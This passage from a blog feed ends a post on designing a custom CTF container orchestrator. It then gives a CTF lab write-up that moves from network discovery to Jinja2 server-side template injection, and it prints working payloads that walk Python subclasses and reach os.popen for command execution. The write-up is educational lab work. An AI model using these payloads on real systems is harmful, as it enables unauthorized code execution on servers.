<p><strong>The Promise:</strong> Serverless functions ( with Docker container support ) which scale to zero, pay only for what you use and handle thousands of concurrent requests</p>
<p><strong>The Reality:</strong> Lambda has a maximum runtime of 15 minutes. CTF challenges may take from 30 minutes to several hours. Participants also usually need to step away and return to their environment. Lambda’s ephemeral nature and strict time limits made it a non-starter.</p>
<h3 id="heading-aws-fargate">AWS Fargate</h3>
<p><strong>The Promise:</strong> Serverless containers, just specify your Docker image, and the Cloud handles the rest.</p>
<p><strong>The Reality:</strong> These services, while really convenient, are designed for microservices architecture where instances are interchangeable and load balanced. They are meant for <strong>instance-agnostic</strong> workloads.</p>
<p>We needed the opposite: <strong>Instance-specific routing.</strong> Each user needs their own container accessible via a unique subdomain like <code>a3f4b92c8d…orcactf.app</code>. Fargate abstracts away containers behind load balancers. Getting traffic to a <em>specific</em> container would require complex workarounds, and the solution would be tightly coupled to AWS-specific networking constructs.</p>
<h3 id="heading-aws-app-runner">AWS App Runner</h3>
<p>Similar story, great for deploying web services, but not so much for orchestrating user-specific ephemeral environments with custom networking requirements.</p>
<h2 id="heading-why-not-kubernetes-or-docker-swarm">Why not Kubernetes or Docker Swarm?</h2>
<p>The elephant in the room: Why not use battle tested orchestration platforms?</p>
<p><strong>Kubernetes</strong> is incredibly powerful, but it’s also incredibly complex. Setting up a cluster, managing nodes, configuring ingress controllers, wrangling pods vs deployments vs services; it’s a steep learning curve. For a project that has to go from zero to prototype in a month, K8s felt like bringing a cargo ship to a river rafting trip.</p>
<p>Moreover, Kubernetes is general-purpose by design. It is meant to manage long-lived services, rolling deployments and complex distributed systems. Our use case is much simpler: spin up a container, keep it alive for a few hours at maximum, and then clean it up. We don’t need auto-healing deployments or blue-green rollouts. We need <strong>ephemeral, user-scoped container lifecycle management.</strong></p>
<p>For our timeline and expertise level, Kubernetes might be an overkill for the current projected scale of the project.</p>
<p><strong>Docker Swarm</strong> has a gentler learning curve, but it’s still designed for orchestrating services across clusters, not managing per-user container instances with custom routing.</p>
<p>Both options also add operational overhead: cluster management, control plane High Availability (HA), storage orchestration, network policies. I’d be spending more time fighting the orchestrator than actually building the platform.</p>
<h2 id="heading-the-case-for-building-custom-enter-poseidon">The Case for Building Custom: Enter Poseidon</h2>
<p>After evaluating the existing landscape, I was reaffirmed of my assumption that our use case is very niche, and the existing tools are not optimized for it. They’re designed for microservices ( many identical deployments behind a load balancer ) or long-lived services ( always running, scaled horizontally ). CTF challenges are neither.</p>
<p>So I decided to build <strong><em>Poseidon</em></strong>. Keeping with the marine theme of OrcaCTF, Poseidon is our ‘orchestrator of the deep’, a purpose-built engine which is designed to be simple and performant.</p>
<h3 id="heading-core-requirements">Core Requirements:</h3>
<ol>
<li><p><strong>Absolute Control Over Container Lifecycle</strong></p>
<ul>
<li><p>Spin up containers on-demand</p>
</li>
<li><p>Enforce resource limits (CPU, memory, disk)</p>
</li>
<li><p>Support custom timeouts with user-requested extensions</p>
</li>
<li><p>Clean shutdown and cleanup</p>
</li>
</ul>
</li>
<li><p><strong>Instance-Specific Routing</strong></p>
<ul>
<li><p>Each container gets a unique subdomain: <code>&lt;SHA256(instance_id)&gt;.orcactf.app</code></p>
</li>
<li><p>Traffic must route to the <em>specific</em> container, not a pool</p>
</li>
<li><p>SSL/TLS termination for all subdomains</p>
</li>
<li><p>Support for SSH, HTTP connections</p>
</li>
</ul>
</li>
<li><p><strong>Cloud-Agnostic Architecture</strong></p>
<ul>
<li><p>Should work on AWS, Azure, GCP, or bare metal</p>
</li>
<li><p>No vendor lock-in via proprietary services</p>
</li>
<li><p>Portable enough to open-source and let others deploy</p>
</li>
</ul>
</li>
<li><p><strong>Observable &amp; Debuggable</strong></p>
<ul>
<li><p>Comprehensive logging and tracing</p>
</li>
<li><p>Real-time metrics (Prometheus + Grafana)</p>
</li>
<li><p>Easy visibility into what's happening under the hood</p>
</li>
</ul>
</li>
<li><p><strong>Cost-Effective</strong></p>
<ul>
<li><p>Run on EC2 instances within AWS free tier</p>
</li>
<li><p>Efficient resource utilization</p>
</li>
<li><p>No per-container pricing overheads</p>
</li>
</ul>
</li>
</ol>
<p>Quick note: I'm building this in parallel with writing about it. Some details will evolve as we discover what works.</p>
<h3 id="heading-architecture-philosophy-simplicity-over-features">Architecture Philosophy: Simplicity over features</h3>
<p>Poseidon follows a <strong>two-process</strong> model:</p>
<ul>
<li><p><strong>Master process:</strong> Runs alongside OrcaCTF’s other backend services. Handles API requests, maintains state in Redis, schedules containers across workers and monitors health.</p>
</li>
<li><p><strong>Worker process:</strong> Runs on one or more EC2 instances. Receives commands from the master, spins up Docker containers, adds helpful labels to help in routing and reports status back.</p>
</li>
</ul>
<p>The design is intentionally minimal. We’re not trying to compete with Kubernetes. We’re solving a specific problem with the simplest architecture that works.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761533191284/1b3f8880-8118-43ae-acf9-879b87914208.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-user-experience">The User Experience:</h3>
<p>Let’s walk through the expected UX when a student wants to run a challenge:</p>
<ul>
<li><strong>Phase 1: Request ( User → Backend )</strong></li>
</ul>
<ol>
<li><p><strong>User clicks "Start Challenge"</strong> on the OrcaCTF frontend</p>
</li>
<li><p><strong>Frontend calls backend API</strong>, which validates the user's token and permissions</p>
</li>
<li><p><strong>Backend returns "pending"</strong>, triggering a loading spinner</p>
</li>
</ol>
<ul>
<li><strong>Phase 2: Orchestration ( Backend→Poseidon)</strong></li>
</ul>
<ol>
<li><p><strong>Backend calls Poseidon Master</strong>, passing challenge details and user ID</p>
</li>
<li><p><strong>Master verifies</strong> the user doesn't have an active instance running</p>
</li>
<li><p><strong>Master selects a worker</strong> (load balancing strategy TBD) and sends a work request</p>
</li>
<li><p><strong>Worker spins up the Docker container</strong>, setting labels for routing</p>
</li>
<li><p><strong>Worker performs health check</strong>, then reports success to Master</p>
</li>
<li><p><strong>Master updates Redis state</strong> with the container's unique subdomain</p>
</li>
</ol>
<ul>
<li><strong>Phase 3: Connection and cleanup ( User → Container )</strong></li>
</ul>
<ol>
<li><p><strong>Frontend polls backend</strong> until status changes to "ready"</p>
</li>
<li><p><strong>User receives their unique URL</strong>: <a target="_blank" href="https://a3f4b92c8d...orcactf.app"><code>a3f4b92c8d...orcactf.app</code></a></p>
</li>
<li><p><strong>Traffic</strong> is routed to the specific container based on subdomain</p>
</li>
<li><p><strong>After timeout expires</strong> (or user terminates early), container is cleaned up</p>
</li>
</ol>
<p>All of this happens quickly, with zero manual intervention.</p>
<h3 id="heading-why-open-source">Why Open-Source?</h3>
<p>Poseidon isn’t just a course project, it’s designed to be a reusable module. We will be open-sourcing it because every university, club, or small company that wants to host an interactive lab shouldn’t have to reinvent the wheel.</p>
<h2 id="heading-what-about-existing-platforms-like-ctfd">What about existing platforms like CTFd?</h2>
<p>If you’ve been in the CTF space, you’re likely thinking of platforms like CTFd and its <code>ctfd-whale</code> plugin. These are fantastic, all-in-one solutions for running a complete competition</p>
<p>However, the dynamic container components are often just that: plugins, tightly coupled to the main platform. They solve the problem for <em>CTFd</em></p>
<p>My goal for this project is different; I wanted to build a <strong>decoupled, general-purpose orchestration engine (Poseidon)</strong> that could be used with <em>any</em> platform, whether it’s our OrcaCTF, a custom-built site, or even non-CTF uses like educational sandboxes or on-demand coding labs.</p>
<p>Poseidon is designed to be the engine, not the entire car. This <strong>separation of concerns</strong> is a core part of our design philosophy.</p>
<hr />
<p>Follow along as I dive into:</p>
<ul>
<li><p>The master process architecture and API design.</p>
</li>
<li><p>Dynamic subdomain routing.</p>
</li>
<li><p>Worker process and Docker SDK integration</p>
</li>
<li><p>Observability with Prometheus and Grafana</p>
</li>
<li><p>Deployment, auto-scaling and lessons learned</p>
</li>
<li><p>Security details like container isolation strategies</p>
</li>
</ul>
<p>By the end, we’ll have a fully functional orchestration engine, a CTF platform and a deep understanding of how distributed systems work under the hood.</p>
<p>The ocean is deep. Let’s see how deep Poseidon can go.</p>
<hr />
<p><em>This is Part-1 of the “<strong><strong>Building Poseidon</strong></strong>” series. Follow along as we build a custom container orchestration engine from scratch.</em></p>
<h2 id="heading-a-note-on-terminology">A Note on Terminology</h2>
<p>Throughout this series, I use "I" when discussing Poseidon's architecture and implementation because I'm building this orchestration engine independently as my contribution to our team's larger OrcaCTF platform.</p>
<p>My teammates are handling other critical pieces: <a target="_blank" href="https://www.linkedin.com/in/piyush-sahu-a696731bb/">Piyush</a> is designing the CTF challenges themselves, while <a target="_blank" href="https://www.linkedin.com/in/lakshya-samay-singh-18320b286/">Lakshya</a> and <a target="_blank" href="https://www.linkedin.com/in/samanyu-raina-b31866318/">Samanyu</a> are building the frontend and integrating scoring systems. Poseidon is the infrastructure layer that makes those challenges accessible in isolated, on-demand environments.</p>
<p>This series documents my specific journey building that infrastructure: the decisions I made, the problems I hit, and the solutions I found.</p>
]]></content:encoded></item><item><title><![CDATA[Terrier CTF [Part 1]: Network Reconnaissance to SSTI: The Methodology Beneath the Exploit]]></title><description><![CDATA[Step 0: Network Address Discovery
The Terrier CTF Boot2Root machine presented an interesting challenge from the start: identifying the machine’s IP address on the local network. While this might seem quite straightforward in theory, the practical rea...]]></description><link>https://blog.realrudrap.dev/terrier-ctf-part-1-methodology-beneath-exploit</link><guid isPermaLink="true">https://blog.realrudrap.dev/terrier-ctf-part-1-methodology-beneath-exploit</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[CTF]]></category><dc:creator><![CDATA[Rudra Ponkshe]]></dc:creator><pubDate>Mon, 20 Oct 2025 05:30:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760333413720/a5955db5-f349-4ffb-b1c1-25a052b8c4c4.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-step-0-network-address-discovery">Step 0: Network Address Discovery</h2>
<p>The Terrier CTF Boot2Root machine presented an interesting challenge from the start: identifying the machine’s IP address on the local network. While this might seem quite straightforward in theory, the practical reality of VM networking configurations often introduces unexpected complexity which is worth documenting.</p>
<p>Usually, most Boot2Root VMs do us a favor and print their IP address to the console when they boot. Without this convinience, we need a more systematic approach to network discovery. I will be demonstrating the approach I used when using VMWare Workstation Pro on my Ubuntu machine.</p>
<p>First, ensure that the networking mode is set to NAT. This ensures that the machines are on the same virtual network segment and can access each other. Following this, in the Advanced settings menu of the dialog box, record the MAC address.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758773359618/d4fde2bc-21c9-4a35-ad71-7447bdab9d7e.png" alt class="image--center mx-auto" /></p>
<p>Then using the <code>arp -a</code> command on the shell, we get the list of various IP addresses associated with the physical addresses</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758773456323/080a2570-cbdb-4cb5-a460-ad4959ff9092.png" alt class="image--center mx-auto" /></p>
<p>Without console IP disclosure, three discovery vectors exist: ARP cache inspection (fast, requires same subnet), nmap subnet sweep (thorough, time-intensive), or DHCP lease examination (requires hypervisor access). ARP cache provided sufficient granularity, two candidates versus 254; making it the optimal effort-to-information ratio. The ARP command shows the list of IP addresses and their corresponding MAC addresses that your system has recently communicated with on the local network</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Documentation note: Screenshots in this series span multiple testing sessions, so you may notice the target IP address changes between sections. This reflects the dynamic nature of DHCP in virtualized environments and doesn't affect the methodology demonstrated.</div>
</div>

<h2 id="heading-step-1-reconnaissance">Step 1: Reconnaissance</h2>
<p>Now that we have the IP address, I proceeded with a standard nmap scan to identify open ports. The scan revealed ports 22 (SSH) and 5000 (HTTP) were accessible.</p>
<p>The presence of password based authentication in ssh shows it’s a worthy attack vector, and opening accessing the port 5000 using a web-browser reveals a static web page titled R&amp;D portal.</p>
<h3 id="heading-ssh-exploit">SSH exploit:</h3>
<p>SSH authentication without username enumeration or organizational context is at best, brute force. This approach is statistically futile in CTF environments which are designed around exploiting than guessing. Port 5000 suggests custom application development ( HTTP service on non-standard port ), indicating a higher probability of implementation vulnerabilities than the hardened SSH daemons.</p>
<h3 id="heading-web-page-exploit">Web page exploit:</h3>
<p>The homepage served on port 5000 appeared completely static; buttons were non-functional, no dynamic content was visible, and no obvious navigation paths existed. This warranted directory enumeration using <code>gobuster</code> with the DirBuster wordlist from <a target="_blank" href="https://github.com/danielmiessler/SecLists/">SecLists</a>, which discovered a <code>/page</code> endpoint containing a text input field with greeting functionality.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758807031244/05872a9a-781a-4315-8a54-49a5db2d1888.png" alt class="image--center mx-auto" /></p>
<p>The greeting mechanism suggested potential Server-Side Template Injection. Arithmetic evaluation (<code>{{7×7}}</code>→49) provides unambiguous confirmation. If the server returns ‘Hello 49!’, template processing occurred server side. String operations could reflect client-side JavaScript. Mathematical mutation offers binary clarity, either the template executed, or it didn’t.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><strong>SSTI ( Server Side Template Injection ) </strong>occurs when web applications unsafely embed user input directly into template engines (Jinja2, Twig etc) allowing attackers to inject malicious template directives which execute as server side code. Read more <a target="_self" href="https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection">here</a></div>
</div>

<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758806696119/8d748efc-e89f-4cf2-be1c-43b9a3732479.png" alt class="image--center mx-auto" /></p>
<p>As a standard practice, I tried to find out all the available classes using the payload <code>{{''.class.mro[1].subclasses()}}</code>. Effectively, this payload traverses to the base <code>object</code> class of the empty string using the MRO method, which can traverse the parent classes of a given class. The <code>subclasses()</code> method helps us enumerate the currently available modules, which may be used to set up a reverse-shell.</p>
<p>Upon running the payload, a long list of empty strings along with a singular class name was returned It looked something like <code>[, , , , , , , , ,…..,typing.Any, , , , …..]</code> In order to optimize the effort, I tried searching for the <code>_wrap_close</code> module, which helps in <a target="_blank" href="https://agrohacksstuff.io/posts/os-commands-with-python/">gaining access to the OS module</a>. The <code>_wrap_close</code> wraps file like objects, and critically its <code>__init__.__globals__</code> dictionary typically references to system modules like <code>sys, os</code> which are required for file operations. It is a reliable, and well documented path from the template context to OS-level execution. It is consistently available across Python versions.</p>
<p>The payload used was <code>{% for sc in ''.class.mro[1].subclasses() %}{% if</code> <a target="_blank" href="http://sc.name"><code>sc.name</code></a> <code>== '_wrap_close' %}{{ loop.index0 }}{% endif %}{% endfor %}</code></p>
<p>Running this command is expected to return is the index of the <code>_wrap_close</code> module, and sure enough, the number 140 was returned.</p>
<p>The next step is trying to access the <code>os</code> module from this, so I first tried this payload: <code>{{ ''.class.mro[1].subclasses()[140].init.globals['os'].listdir() }}</code>. This payload effectively tried to access the <code>os</code> module via the <code>__globals__</code> directory of the class’ <code>__init__</code> method. <code>os.listdir()</code> is a basic function which lists the files in the current directory.</p>
<p>The direct <code>__globals__['os']</code> approach returned HTTP 500, indicating either namespace limitations or filtering. Since <code>__builtins__</code> provides Python's core import machinery and typically exists in all execution contexts, pivoting to dynamic import via <code>__import__</code> bypasses potential restrictions on pre-imported modules. I tried the payload <code>{{ ‘‘.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__[‘__builtins__’][‘__import__’](‘os’).popen(‘ls -la’).read() }}</code></p>
<p>The payload finally succeeded, and the output shows the contents of the filesystem of the <code>www-data</code> user, which is a common username used for service accounts used to serve web content over the server. One of the file, <code>F14@_0n3.txt</code> stands out in particular, and may reveal the value of the first flag. The app.py is probably the process which the application connects to, reading this could provide more vulnerabilities or logic flaws.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759742744923/57417c0d-5f22-4fc2-a6c3-19d3ecd06f6a.png" alt="Screenshot of the directory listing returned by the payload" class="image--center mx-auto" /></p>
<p>Slightly modifying the payload to read the <code>F14@_0n3.txt</code> file instead of listing the directory structure reveals the first flag to us.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759742979524/ffa60fd9-b58d-417b-ae56-5f2607d00946.png" alt class="image--center mx-auto" /></p>
<p>The first flag secured, but <code>www-data</code> user access is merely a foothold, not privilege. The SSTI vulnerability that gave us file reading capabilities can offer something far more valuable: Arbitrary Command Execution. This is a common way of establishing presence.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Next in series: <strong>Terrier CTF [Part 2]: PCAP Dissection: Carving Secrets from Captured Packets</strong></div>
</div>

<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Shout out to my friend, <a target="_self" href="https://www.linkedin.com/in/abhijeet-somashila/">Abhijeet</a> for the awesome cover image he designed!</div>
</div>]]></content:encoded></item></channel></rss>